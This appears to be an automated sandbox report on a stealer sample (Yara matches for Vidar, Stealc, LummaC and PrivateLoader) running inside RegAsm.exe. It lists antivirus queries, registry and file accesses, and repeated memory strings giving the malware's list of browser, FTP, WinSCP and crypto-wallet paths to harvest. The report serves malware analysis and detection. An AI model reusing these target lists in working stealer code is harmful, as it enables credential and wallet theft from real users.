Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0054009B GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

3_2_0054009B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004411F0 GetComputerNameA,__aulldiv,GlobalAlloc,LookupAccountNameA,GetLastError,ConvertSidToStringSidA,GetLastError,

3_2_004411F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

7_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0042CEA0 RtlGetVersion,GetVersionExA,

3_2_0042CEA0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000007.00000002.3153652964.000000000120A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 5632, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 30.2.AAAKEBGDAF.exe.3dd5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.AAAKEBGDAF.exe.3dd5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3584946793.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3126199282.0000000003DD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5140, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 7.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.d4BihqytT0FhOpDvoGEczZzm.exe.3d45570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.d4BihqytT0FhOpDvoGEczZzm.exe.3d45570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d4BihqytT0FhOpDvoGEczZzm.exe PID: 5504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6688, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000007.00000002.3149050724.0000000000582000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|DESKTOP\|%DESKTOP%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RegAsm.exe, 00000020.00000002.3584946793.0000000000488000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Exodus\
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000007.00000002.3149050724.0000000000582000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|DESKTOP\|%DESKTOP%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|
Source: RegAsm.exe, 00000007.00000002.3149050724.0000000000582000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|DESKTOP\|%DESKTOP%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: MultiDoge
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
